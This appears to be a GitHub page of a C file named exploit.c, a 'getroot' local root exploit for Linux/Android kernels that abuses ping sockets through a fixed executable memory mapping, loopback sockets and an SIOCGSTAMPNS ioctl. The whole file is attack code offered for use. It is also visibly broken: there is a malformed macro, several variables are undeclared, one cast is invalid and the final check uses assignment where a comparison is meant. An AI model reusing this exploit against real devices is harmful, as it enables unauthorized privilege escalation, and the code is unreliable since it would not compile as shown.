-
Notifications
You must be signed in to change notification settings - Fork 21
/
exploit.c
129 lines (99 loc) · 3.11 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/* getroot 2014/07/12 */
/*
* Copyright (C) 2014 CUBE
*
* Modify scoty755
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/mman.h>
#include <string.h>
#define USER_PRIO_BASE 120
#define LOCAL_PORT 5551
#define SIGNAL_HACK_KERNEL 12
#define SIOCGSTAMPNS 0x8907
#define LIST POISON2 0x200200
static int
server_for_setup_rt_waiter(void)
{
int sockfd;
int yes = 1;
struct sockaddr_in addr = {0};
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
return accept(sockfd, NULL, NULL);
}
static int
connect_server_socket(void)
{
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if (sockfd < 0) {
printf("socket failed\n");
usleep(10);
}
else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
int
ping_unhash_exploit_main(void)
{
pthread_t thread_client_to_setup_rt_waiter;
unsigned long mapped_address;
void *waiter_plist;
mapped_address = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (mapped_address < 0x80000000) {
printf("mmap failed?\n");
return 1;
}
waiter_plist = (void *)mapped_address + 0x800;
sockfd = connect_server_socket();
if (server_for_setup_rt_waiter() < 0) {
printf("Server failed\n");
return 1;
}
pthread_mutex_lock(&done_lock);
ret = ioctl(sockfd, SIOCGSTAMPNS, (struct addr*));
addr.sin_family = 0;
connect(sockfd, (struct sockaddr *)&addr, 16);
pthread_cond_wait(&done, &done_lock);
pthread_mutex_unlock(&done_lock);
if (ret = -1){
return false;
}
return true;
}